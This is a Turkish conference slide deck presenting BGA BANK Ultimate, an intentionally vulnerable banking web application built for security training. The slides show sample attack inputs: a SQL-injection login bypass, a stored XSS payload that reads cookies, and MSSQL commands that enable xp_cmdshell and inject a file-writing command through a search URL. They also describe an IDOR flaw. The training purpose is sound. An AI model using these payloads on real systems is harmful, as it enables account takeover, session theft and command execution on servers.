Embed Size (px)
Citation preview
BGA BANK UltimateİSTİSMAR EDİLEBİLİR ÇEVRİM İÇİ BANKACILIK UYGULAMASI HARUN TAMOKUR CÜNEYT BAYILMIŞFORD OTOMOTIV SAN. A.Ş.,KOCAELI, TÜRKİYE SAKARYA ÜNIVERSITESI, BILGISAYAR VE BILIŞIM BILIMLERI FAKÜLTESI [email protected] BILGISAYAR MÜHENDISLIĞI BÖLÜMÜ,SAKARYA, TÜRKİYE
[email protected] HUZEYFE ÖNAL
BGA BILGI GÜVENLIĞI LTD.İSTANBUL, TÜRKİYE
Dünyadaki Atak Tiplerinin Dağılımı
Web Güvenliği Atak Tiplerinin Dağılımı
Ülkemizin Siber Saldırılarda Dünyadaki Yeri-2015
Yüzdelerden Çıkarılacak Sonuçlar
Giderek artmakta olan siber saldırı olaylarına müdahale anında ve kesin olmalı
Daha fazla güvenlik personeline ihtiyaç duyulmaktadır Bilgilendirme toplantıları ve eğitim ortamlarına ihtiyaç
duyulmaktadır Owasp WebGoat, Acunetix Test Pages, bWAPP, DVWA gibi
uygulamalara alternatif olarak gerçek senaryoları barındıran BGA BANK projesi geliştirilmiştir.
BGA BANK
BGA BANK istismar edilebilir bir bankacılık uygulamasıdır. Yurt dışı kaynaklı güvenlik firmalarının da benzeri istismar
edilebilir uygulamaları vardır. Projenin onlardan farklı ise gerçek bir bankacılık senaryosu
üzerine kurulmuş olmasıdır. Önceki BGA BANK sürümünde tek güvenlik seviyesi-Güvensiz Önceki BGA BANK sürümü PHP yazılım dilinde kodlanmıştı
BGA BANK Ultimate BGA BANK Ultimate 3 aşamalı güvenlik seviyesine sahiptir.
Güvensiz WAF-Web Uygulama Güvenlik Duvarı (Modsecurity) Güvenli
BGA BANK Ultimate ASP.Net platformunda C# yazılım diliyle geliştirilmiştir.
BGA BANK Ultimate TÜBİTAK 2209-B - Sanayi Odaklı Lisans Bitirme Tezi Destekleme Programı kapsamında desteklenmiştir.
Uygulamadaki Zayıflık Tipleri
Başlangıç Sayfası
Anasayfa – Haber Arama Menüsü
Başvuru Sayfası
Bireysel Giriş-Authentication Bypass
Müşteri Numarası :100001Şifre: ' or 1=1--
Kullanıcı Anasayfası
Müşteri Memnuniyeti-Stored XSS
Örnek payload(zararlı kod): "><script>document.write(document.cookie)</script>
Haber Arama Sayfası-SQL Injection Açıklığı
SQL Injection İstismarı
MSSQL Sunucusunda Klasöre Veri Yazmayı Aktifleştirme
EXEC sp_configure 'show advanced options', 1 EXEC sp_configure reconfigure EXEC sp_configure 'xp_cmdshell', 1 EXEC sp_configure reconfigure
Veri Yazdırma
www.bgabank.ultimate.com/g_arama.aspx?kelime=1"' exec xp_cmdshell 'echo veri yazdırılıyor >> c:/inetpub/yeni.txt';-
Hesap Özeti
IDOR-Güvensiz Doğrudan Nesne Referansı
Aynı sayfada farklı bir kullanıcının hesap bilgilerine ulaşılması
Sonuçlar
Yazılımcılar daha uygulamayı kodlama aşamasında açıklıklara karşı gerekli önlemlerini almalı.
Bu tür uygulamalar son kullanıcılar, yazılımcılar ve güvenlik araştırmacıları için tehlikeyi yerinde görmek amacıyla önem arz etmektedir.
Tehlikeli girdilere karşı gerekli önlemler hem yazılımcı hemde son kullanıcı tarafından alınmış olmalı.(Tarayıcı özellikleri vb.)
Kişiler bilgilendirilmeli ve bilgiler her zaman güncellenmelidir.
Dinlediğiniz İçin Teşekkürler
Harun Tamokur www.haruntamokur.com Twitter: @Haruntamokur Github: https://github.com/haruntmkr
